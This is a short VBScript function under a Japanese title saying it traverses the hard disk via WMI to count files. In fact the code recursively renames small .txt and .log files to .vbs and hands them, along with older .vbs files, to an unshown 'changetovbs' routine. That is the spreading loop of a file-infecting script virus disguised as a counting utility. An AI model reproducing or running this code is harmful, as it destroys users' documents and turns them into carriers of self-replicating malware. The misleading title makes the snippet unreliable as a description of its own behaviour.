VBSがWMIを呼び出してハードディスクのファイルをトラバースしてカウントする

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = ". "
  Set ObjWMIService = GetObject("winmgmts:\\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
   & "Where AssocClass = Win32_Subdirectory " _
   & "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function